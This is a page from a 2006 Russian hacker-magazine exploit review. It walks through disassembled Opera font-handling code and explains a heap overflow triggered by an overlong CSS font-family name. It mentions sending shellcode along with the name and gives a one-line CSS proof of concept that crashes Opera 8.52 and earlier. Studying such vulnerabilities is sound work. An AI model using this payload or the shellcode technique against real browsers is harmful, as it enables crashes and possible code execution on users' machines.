Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

Обзор эксплойтов

Крис Касперски ака мыщъх

Хакер, номер #091, стр. 091-060-7


Листинг 8: переполняющая строка передается функции, обрабатывающей шрифты. Это позволяет предположить, что строка представляет собой имя шрифта

.text:67B8CD10 sub_67B8CD10 proc near

.text:67B8CD5C FF 74 24 14 push [esp+0Ch+arg_0] ; передаем «свой» аргумент

.text:67B8CD60 E8 D3 FE FF FF call sub_67B8CC38 ; подфункции sub_67B8CC38

; // дизассемблерный листинг подфункции sub_67B8CC38

.text:67B8CC38 sub_67B8CC38 proc near ; CODE XREF: sub_67B8CB3C:loc_67B8CBA5?

.text:67B8CC38 ; sub_67B8CD10+50?p ...

.text:67B8CC38

.text:67B8CC38 arg_0 = dword ptr 8

.text:67B8CC38

.text:67B8CC38 56 push esi

.text:67B8CC39 8B 74 24 08 mov esi, [esp+arg_0]

.text:67B8CC3D 68 94 24 F5 67 push offset aSerif ; "SERIF"

.text:67B8CC42 56 push esi

.text:67B8CC43 E8 3D 30 0A 00 call sub_67C2FC85 ; обработка шрифта

.text:67B8CC48 59 pop ecx

.text:67B8CC49 85 C0 test eax, eax

.text:67B8CC4B 59 pop ecx

.text:67B8CC4C 74 04 jz short loc_67B8CC52

.text:67B8CC4E 33 C0 xor eax, eax

.text:67B8CC50 5E pop esi

.text:67B8CC51 C3 retn

.text:67B8CC52

.text:67B8CC52 loc_67B8CC52: ; CODE XREF: sub_67B8CC38+14?j

.text:67B8CC52 68 88 24 F5 67 push offset aSansSerif_0 ; "SANS-SERIF"

.text:67B8CC57 56 push esi

.text:67B8CC58 E8 28 30 0A 00 call sub_67C2FC85 ; обработка шрифта

.text:67B8CC5D 59 pop ecx

.text:67B8CC5E 85 C0 test eax, eax

.text:67B8CC60 59 pop ecx

.text:67B8CC61 74 05 jz short loc_67B8CC68

.text:67B8CC63 6A 01 push 1

.text:67B8CC65

.text:67B8CC65 loc_67B8CC65: ; CODE XREF: sub_67B8CC38+43?j

.text:67B8CC65 ; sub_67B8CC38+58?j

.text:67B8CC65 58 pop eax

.text:67B8CC66 5E pop esi

.text:67B8CC67 C3 retn

.text:67B8CC68

.text:67B8CC68 loc_67B8CC68: ; CODE XREF: sub_67B8CC38+29?j

.text:67B8CC68 68 80 24 F5 67 push offset aFantasy ; "FANTASY"

.text:67B8CC6D 56 push esi

.text:67B8CC6E E8 12 30 0A 00 call sub_67C2FC85 ; обработка шрифта

Имена шрифтов сразу же бросаются в глаза. Ага! Значит, эта функция управляет стилем оформления страницы, загружая соответствующий шрифт. И это хорошо, потому что шрифты мы можем принудительно менять через CSS. Главное, чтобы длина имени шрифта (необязательно реально существующего, вполне сойдет и фиктивный) превышала 32 Кб. Вместе с именем может быть передан shell-код, который пойдет гулять по куче (динамической памяти), основательно ее затирая. А технику переполнения кучи мы уже неоднократно рассматривали в прошлых номерах хакера.

Ниже приведен код простейшего exploit'а, «роняющего» Оперу версий 8.52 и более младших (впрочем, атака может не сработать, если CSS отключен):

<STYLE type=text/css>A { FONT-FAMILY: 35000x'A' } </STYLE>

Это код простейшего CSS-exploit'а вызывающий обрушение Оперы.

Для ликвидации уязвимости необходимо скачать новую версию Оперы или ликвидировать дыру собственными руками! Действительно, зачем перекачивать несколько мегабайт по модему, переустанавливать и т. д., когда нас и текущая версия вполне устраивает. Как известно, с каждой новой версией программное обеспечение все толстеет и толстеет, становится неповоротливым, не принося никаких существенно новых фич.

Назад на стр. 091-060-6  Содержание  Вперед на стр. 091-060-8